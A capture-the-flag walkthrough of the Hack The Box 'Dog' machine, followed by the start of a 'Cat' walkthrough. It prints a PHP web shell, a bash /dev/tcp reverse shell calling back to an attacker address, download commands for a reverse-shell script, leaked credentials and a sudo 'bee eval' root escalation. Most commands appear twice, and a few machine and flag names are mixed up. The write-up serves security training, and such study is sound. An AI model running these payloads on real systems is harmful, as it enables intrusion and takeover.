To identify open ports and services, I ran an Nmap scan:

nmap -sV -sC 10.10.11.58 -oA initial 

nmap -sV -sC 10.10.11.58 -oA initial 

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/dog]
└──╼ $nmap -sC -sV 10.10.11.58 -oA initial
# Nmap 7.94SVN scan initiated Sun Jun 29 18:19:32 2025 as: nmap -sC -sV -oA initial 10.10.11.58
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
# Nmap done at Sun Jun 29 18:20:33 2025 -- 1 IP address (1 host up) scanned in 60.91 seconds

┌─[dark@parrot]─[~/Documents/htb/dog]
└──╼ $nmap -sC -sV 10.10.11.58 -oA initial
# Nmap 7.94SVN scan initiated Sun Jun 29 18:19:32 2025 as: nmap -sC -sV -oA initial 10.10.11.58
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
|_http-server-header: Apache/2.4.41 (Ubuntu)
# Nmap done at Sun Jun 29 18:20:33 2025 -- 1 IP address (1 host up) scanned in 60.91 seconds

Analysis:

• Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu; key fingerprints leaked, but no obvious auth bypass exposed.
• Port 80 (HTTP): Apache 2.4.41 hosting Backdrop CMS 1 with an exposed .git/ repo, robots.txt leaks paths, and potential admin panel access.

Web Enumeration on Dog Machine

Exploring the Website

Navigating to http://10.10.11.58 a dog-themed website, fitting the machine’s name.

The page footer reveals that the website operates on Backdrop CMS, a platform I previously explored in the Hack The Box CarpeDiem machine walkthrough.

Accessing the login endpoint displays the login page.

The .git directory contains several internal folders related to version control.

Analysing the Git Repository

The Gobuster scan uncovered a .git directory — a significant discovery, as exposed Git repositories can leak sensitive data such as source code or credentials.

Examining settings.php

While inspecting the .git directory contents, I found several folders and files that indicate a full web application project. Directories like core, files, layouts, themes, and sites suggest an organised structure, possibly for a CMS or a custom PHP-based system. Notably, index.php appears to be the main entry point, and settings.php may contain configuration details, which could include sensitive data like database credentials. The presence of robots.txt, along with documentation files such as README.md and LICENSE.txt, further supports that this is a production-ready web application. These findings warrant a deeper inspection for potential misconfigurations or exposed credentials

The settings.php file is the main configuration file for a Backdrop CMS website. While reviewing it, I found hardcoded database credentials (root:BackDropJ2024DS2024), which is a serious security concern if exposed publicly. This means anyone with access to this file could potentially connect to the database and access or manipulate sensitive data. The file also defines paths for configuration directories, session settings, and site behaviour like caching and error handling. Additionally, it includes a unique hash_salt feature used for security tokens and one-time login links. From a security standpoint, this file contains multiple pieces of sensitive information that should never be publicly accessible. Its presence in an exposed .git directory highlights the risks of improperly secured version control systems. This misconfiguration could allow an attacker to take full control of the application or pivot further into the underlying system.

Configuration Directory Security

This section of the settings.php file specifies where the Backdrop CMS stores its configuration files, which include settings for things like content types, modules, and views. By default, these are stored in the files directory under a hashed path, like so:

$config_directories['active'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active';
$config_directories['staging'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging';

$config_directories['active'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active';
$config_directories['staging'] = './files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/staging';

While this works functionally, it’s not ideal from a security perspective. These paths reside within the web root, so enabling directory listing or guessing the full path could allow someone to access sensitive configuration files directly from the browser. Backdrop’s documentation recommends moving these directories outside of the web-accessible root, like:

$config_directories['active'] = '../config/active';

$config_directories['active'] = '../config/active';

Or using an absolute path:

$config_directories['active'] = '/var/www/config/active';

$config_directories['active'] = '/var/www/config/active';

This ensures critical configuration data remains protected from unauthorised users.

Discovering User Information

Inside /files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active, I found a large number of JSON files, each representing different parts of the site’s active configuration — everything from enabled modules to content structure settings.

Within the update_settings.json file, a possible username tiffany was identified and noted for future reference.

Gaining Access to Backdrop CMS

Logging into the CMS

Returning to the Dog homepage via the browser, I attempted to log in. Initial guesses using common default credentials such as admin:admin and admin:password were unsuccessful. Recalling the credentials exposed in the settings.php file, I attempted to log in using root with the corresponding password (BackDropJ2024DS2024), but this also failed. After multiple attempts, I found the valid credentials:

• Username: tiffany
• Password: BackDropJ2024DS2024 (retrieved from settings.php)

This successful login confirmed that the username found in update_settings.json was legitimate and paired with the database password from settings.php.

Backdrop CMS Enumeration and Vulnerability Assessment

Backdrop CMS is a robust, enterprise-level content management system built for creating and managing dynamic websites. Its deployment on the target system suggests a structured web application environment with multiple modules and components that could be misconfigured or vulnerable.

After accessing the CMS interface, I initially searched for a file upload mechanism to deploy a PHP reverse shell; however, I found no direct upload functionality.

Next, I navigated to the CMS dashboard and obtained the version information from the “Status Report” section within the Reports menu.

CVE-2024-41709: Stored XSS in Backdrop CMS via Unsanitized Field Labels

After conducting further analysis, I identified potential vulnerabilities in the CMS.

A stored Cross-Site Scripting (XSS) vulnerability, identified as CVE-2024-41709, affects Backdrop CMS versions before 1.27.3 and 1.28.x before 1.28.2. The vulnerability arises due to insufficient sanitisation of field labels, which are improperly escaped when rendered in certain parts of the CMS interface.

While exploitation requires the attacker to have the “administer fields” permission, it still poses a threat in multi-user environments or cases of misconfigured access control. Successful exploitation could lead to session hijacking, browser-based attacks, or privilege escalation.The issue has been fixed in Backdrop CMS 1.27.3 and 1.28.2. Users are strongly advised to upgrade to the latest version to mitigate this vulnerability and prevent potential compromise.

I came across an Exploit-DB entry (EDB-ID: 52021) by Ahmet Ümit BAYRAM, which details an authenticated remote command execution vulnerability affecting Backdrop CMS version 1.27.1—the same version identified on the Dog instance.

This script takes advantage of a security flaw in Backdrop CMS version 1.27.1. It’s designed for someone who already has login access with the right permissions (like an admin). The script quietly creates a fake “module” that looks harmless but contains a web shell—a small tool that lets an attacker run system commands through a web browser.

User Management Insights

This output appears to be from the user management section of a Backdrop CMS admin panel, listing all registered user accounts. Each entry includes the username, status, role, account age (member for), last modified, and last access times. All users have an Active status and the Administrator role, granting them full control over the CMS.

Notable accounts include tiffany, rosa, axel, john, and dogBackDropSystem. Most accounts show no access or updates for nearly a year, with tiffany as the only user with recent activity. Each account includes an Edit option to modify user details.

The presence of multiple inactive administrator accounts raises concerns about poor user management practices. Furthermore, dormant admin accounts heighten the risk of privilege escalation or brute-force attacks, particularly when passwords are weak or reused.

Crafting the Malicious Module

Here’s how it works:

First, it creates two files. One is shell.info, which tricks the system into thinking it’s a normal module. The second is shell.php, which has a small piece of code like this:

if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}

That code lets the attacker enter any command in a browser and run it on the server. These files are zipped up as shell.zip.

The attacker then uploads this zip file through the CMS at /admin/modules/install. Once it’s in, they can visit /modules/shell/shell.php and take full control of the site.

Executing the Python script generates an output similar to the one shown above.

Details of shell.info

This file is named shell.info and is crafted to mimic a legitimate Backdrop CMS module. It contains metadata that describes the module, including its name (Block), description, package category (Layouts), version (1.27.1), and compatibility (backdrop = 1.x). The configure line tells the CMS where the module’s settings can be accessed in the admin panel. The project and timestamp fields are added automatically by Backdrop’s packaging system to make the module appear authentic. This file helps the fake module pass as legitimate during installation, which is key to exploiting the vulnerability.

Details of shell.php

The shell.php file is a simple web-based command execution tool known as a web shell. It creates a form in a browser that allows the user to input system commands.

When opened in a browser, it displays a text field and a submit button. If a command is entered (e.g., ls, whoami) and submitted this line:

system($_GET['cmd']);

system($_GET['cmd']);

executes that command on the server and shows the result on the page. This happens only if the URL includes ?cmd=your_command, such as:

/shell.php?cmd=whoami

/shell.php?cmd=whoami

It’s a powerful backdoor often used by attackers to gain control over a server after uploading it. In this case, it’s part of an exploit targeting Backdrop CMS.

Obtaining a Reverse Shell on Dog Machine

To obtain a reverse shell, you can use the well-known PHP reverse shell by Pentestmonkey. Download it using:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.php

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php -O shell.php

Alternatively, use:

curl -o shell.php https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

curl -o shell.php https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php

After downloading, edit shell.php and set your IP and port:

$ip = 'YOUR_ATTACKER_IP';
$port = 'YOUR_ATTACKER_PORT';

$ip = 'YOUR_ATTACKER_IP';
$port = 'YOUR_ATTACKER_PORT';

Packaging and Uploading the Module

This package was uploaded through the administrative interface by navigating to Functionality → Install Module → Manual Installation. Once the upload was completed, the malicious module was installed, paving the way for remote code execution through the embedded web shell.

To prepare the malicious module for upload, the folder containing the payload (e.g., shell/) must be archived into a .tar.gz file format. This is required because Backdrop CMS accepts .tar.gz packages for manual module installation.

Here’s how to create it:

tar -czf shell.tar.gz shell/

tar -czf shell.tar.gz shell/

After uploading the .tar.gz file, the CMS extracted and deployed its contents, allowing the attacker to trigger the payload

The installation was completed successfully without any errors.

Establishing a Reverse Shell

The index appears as illustrated in the screenshot above.

The shell.php interface presents a simple form with a text input field for entering system commands, along with an “Execute” button to run them.

Command injection has been successfully achieved, allowing arbitrary system commands to be executed on the target server.

Let’s proceed by entering a bash reverse shell command into the input field of the shell.php interface. This will attempt to establish a connection back to your machine. Ensure you have a listener (like Netcat) running on your machine before executing the command.

Example reverse shell command (adjust IP and port accordingly):

bash -i >& /dev/tcp/10.10.14.99/4444 0>&1

bash -i >& /dev/tcp/10.10.14.99/4444 0>&1

The payload executed, but no connection was received.

We’ll modify the reverse shell command to use an alternative format.

Ultimately, the command executed successfully and produced the anticipated response.

Session Transition: www-data to johncusack within Dog Machine

While enumerating, I found a user account named johnsucack.

Using the same password from settings.php, I switched to this user

This grants access to the user flag with cat user.txt.

Escalate to Root Privileges Access on Dog Machine

Identifying Sudo Privileges

I checked for commands, the johnsucack user could run with elevated privileges:

The output revealed that johncusack could run /usr/local/bin/bee as root. After analyzing the binary, I found it accepted a root parameter to define a working directory, and an eval parameter to execute arbitrary code — basically, it was buzzing with privilege… and poor design choices

Understanding Bee: The CLI Tool for Backdrop CMS

Bee is a command-line utility tailored specifically for Backdrop CMS. It offers a suite of tools that help developers and administrators manage Backdrop sites more efficiently, directly from the terminal. Similar to Drush for Drupal, Bee streamlines repetitive administrative tasks.

Key capabilities of Bee include:

• Running cron jobs to automate background processes
• Clearing caches to apply configuration or content updates
• Downloading and installing Backdrop core or contributed projects
• Managing modules and themes (install, enable, disable)
• Viewing system information like installed projects and status reports

In essence, Bee simplifies the management of Backdrop CMS, saving time and reducing reliance on the web interface for routine tasks. The source code is publicly available here:

The structured command set streamlines everyday tasks, enhances scripting possibilities, and supports robust site maintenance workflows from the command line.

Key Functional Areas:

• Configuration: Handle export, import, and editing of configuration files.
• Core & Projects: Install Backdrop, manage core updates, and enable/disable modules or themes.
• Database: Drop, export, and import databases with ease.
• Users & Roles: Create or manage user accounts, assign roles, and control permissions.
• Cache & Maintenance: Clear caches and toggle maintenance mode for updates or debugging.
• Cron & State: Run scheduled tasks and view or set internal state variables.
• Advanced Utilities: Run PHP code (eval), execute scripts, or open SQL CLI sessions.

Exploiting the Bee Binary

The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('id');" is used to execute a PHP system call through the Bee CLI tool under root privileges. In this case, the Bee binary is located at /usr/local/bin/bee, and the --root=/var/www/html flag specifies the path to the Backdrop CMS installation. The eval command tells Bee to evaluate the provided PHP code—specifically, system('id');—which runs the Linux id command and outputs the current user’s identity. Running this with sudo means the command is executed as the root user, so the output will likely return uid=0(root) along with group details, confirming root-level execution. This showcases how Bee can execute arbitrary system commands if misconfigured or granted excessive privileges, making it a potential target for post-exploitation during penetration testing or privilege escalation scenarios.

Retrieving the Root Flag

The command sudo /usr/local/bin/bee --root=/var/www/html eval "system('cat /root/root.txt');" retrieves the contents of the root.txt file, which typically serves as proof of root access in penetration testing platforms like Hack The Box. Running the command with sudo grants it root privileges. The Bee CLI tool, located at /usr/local/bin/bee, uses the eval argument to execute a PHP system() call that reads the root.txt file. The --root=/var/www/html flag tells Bee where to find the Backdrop CMS installation. If the command runs successfully, it prints the content of the root.txt file, confirming full system compromise. This approach shows how attackers can exploit misconfigured CLI tools like Bee, especially when administrators grant them root access, to execute arbitrary system commands and gain complete control.

Alternative Approach to Access the Root Flag

Even if the system doesn’t show special permissions on the bash program, it’s still possible to gain full control (root access) using a specific trick. Here’s what’s happening in simple terms:

We’re using a tool called Bee that administrators sometimes install to help manage websites. Normally, Bee is safe, but in this case, it’s being run with full system power (as the root user). By giving Bee a small instruction, telling it to open a command prompt (/bin/bash) using a special option (-p) — We can open a powerful backdoor. This option tells the system, “Don’t lower my power,” and because Bee already runs with full control, it allows us to keep that control.

So even though the bash tool doesn’t have special access on its own, using it through Bee (which does) lets us fully control the system. This shows how a trusted tool, if misused or poorly secured, can give attackers full access.

This grants access to the user flag with cat root.txt.

The post Hack The Box: Dog Machine Walkthrough (Easy Difficulty) appeared first on Threatninja.net.

Introduction

This write-up details the “Cat” machine from Hack The Box, a Medium-rated Linux challenge.

Objective on Cat Machine

The goal is to complete the “Cat” machine by accomplishing the following objectives:

User Flag:

To obtain the user flag, an attacker first exploits a Stored Cross-Site Scripting (XSS) vulnerability in the user registration form, which allows stealing the administrator’s session cookie. With this stolen session, the attacker accesses the admin panel and exploits an SQL Injection flaw to extract sensitive user credentials from the database. After cracking these credentials, SSH access is gained as a regular user, enabling the retrieval of the user flag—a secret token proving user-level access.

Root Flag:

For the root flag, privilege escalation is performed by finding a vulnerable image processing script owned by the root user. The attacker crafts a malicious image payload that executes unauthorised commands with root privileges. This leads to obtaining a root shell—the highest level of system access—allowing capture of the root flag, which confirms full control over the machine.

Reconnaissance and Enumeration on Cat Machine

Establishing Connectivity

I connected to the Hack The Box environment via OpenVPN using my credentials, running all commands from a Parrot OS virtual machine. The target IP address for the Dog machine was 10.10.11.53.

Initial Scanning

To identify open ports and services, I ran an Nmap scan:

nmap -sC -sV 10.10.11.53 -oA initial

nmap -sC -sV 10.10.11.53 -oA initial

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/cat]
└──╼ $ nmap -sC -sV -oA initial -Pn 10.10.11.53
# Nmap 7.94SVN scan initiated Tue Jun 17 10:05:26 2025 as: nmap -sC -sV -oA initial -Pn 10.10.11.53
Nmap scan report for 10.10.11.53
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://cat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 17 10:05:33 2025 -- 1 IP address (1 host up) scanned in 7.38 seconds